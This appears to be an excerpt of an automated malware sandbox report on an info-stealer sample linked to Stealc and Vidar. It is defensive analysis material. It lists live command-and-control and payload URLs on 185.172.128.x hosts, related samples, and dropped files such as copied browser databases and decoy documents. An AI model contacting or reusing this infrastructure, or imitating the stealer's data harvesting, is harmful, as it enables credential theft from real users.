https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	false		high
http://185.172.128.203/tiktok.exe00	YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.111/8e6d9db21fb63946/freebl3.dllT_	YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.111/f993692117a3fda2.php5	YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004255000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.111	YEnIrzZUUw.exe, 00000000.00000002.2245920010.00000000041DE000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	false		high
http://185.172.128.111/f993692117a3fda2.phpd01eb5849095e97b89aab94ffc51release	YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	false		high
http://185.172.128.203/tiktok.exet-Disposition:	YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.111/f993692117a3fda2.phpL	YEnIrzZUUw.exe, 00000000.00000002.2246016069.00000000041FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false		high
https://support.mozilla.org	HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	false		high
http://185.172.128.111/8e6d9db21fb63946/sqlite3.dlll_	YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.111/f993692117a3fda2.phprofiles	YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004255000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	false		high
http://www.sqlite.org/copyright.html.	YEnIrzZUUw.exe, 00000000.00000002.2266044353.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2257348978.000000001E639000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.172.128.203	unknown	Russian Federation		50916	NADYMSS-ASRU	false
185.172.128.111	unknown	Russian Federation		50916	NADYMSS-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432015
Start date and time:	2024-04-26 09:40:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	YEnIrzZUUw.exe renamed because original name is a hash value
Original Sample Name:	814d30fd5617213cc9765f05bf823181.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/40@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 81 Number of non-executed functions: 129
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:41:53	API Interceptor	1x Sleep call for process: WerFault.exe modified
09:42:16	API Interceptor	7246612x Sleep call for process: IDBAKKECAE.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.172.128.203	bUcIhJ4VHm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.203/tiktok.exe
	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.203/tiktok.exe
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.203/tiktok.exe
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.203/tiktok.exe
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	185.172.128.203/dl.php
185.172.128.111	IvxnEUAtC3.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111/f993692117a3fda2.php
	wJ8ZQFBCu4.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111/f993692117a3fda2.php
	q27UFusYdn.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111/f993692117a3fda2.php
	WF2R8Bsptu.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111/f993692117a3fda2.php
	5F25UVdGxt.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111/f993692117a3fda2.php
	3Auu6AZo1i.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111/f993692117a3fda2.php
	4RiX1XghdP.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111/f993692117a3fda2.php
	wKn3WL0NwV.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111/f993692117a3fda2.php
	JgR458zggg.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111/f993692117a3fda2.php
	67Do6SyY1y.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111/f993692117a3fda2.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	bUcIhJ4VHm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	http://185.172.128.63/v8sjh3hs8/index.php	Get hash	malicious	Unknown	Browse	185.172.128.63
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	185.172.128.19
	QEO2mJ8xHx.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.59
	j36lCJ7IcT.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
NADYMSS-ASRU	bUcIhJ4VHm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	http://185.172.128.63/v8sjh3hs8/index.php	Get hash	malicious	Unknown	Browse	185.172.128.63
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	185.172.128.19
	QEO2mJ8xHx.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.59
	j36lCJ7IcT.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	bUcIhJ4VHm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	Vk2yYa9dHl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse
C:\ProgramData\mozglue.dll	bUcIhJ4VHm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	Vk2yYa9dHl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse

Created / dropped Files

C:\ProgramData\AEBKKECBGIIJJKECGIJE

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CZQKSDDMWR.xlsx

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700739677288544
Encrypted:	false
SSDEEP:	24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
MD5:	57582F5B6AE65D8DFCBD4A26382C6138
SHA1:	DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
SHA-256:	7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
SHA-512:	6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

C:\ProgramData\DHJDAFIEHIEGDHIDGDGH

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DVWHKMNFNN.docx

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\ProgramData\EGIDBFBFHJDGCAKEGHJECGHCGC

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIDAFHCBAKFCAAKFCFCFIIJKF

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIDHCFBA

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GAOBCVIQIJ.docx

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\ProgramData\GHDHJEBF

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEBAKEHDHCAKEBFBKEGCGIEBF

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HTAGVDFUIE.docx

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
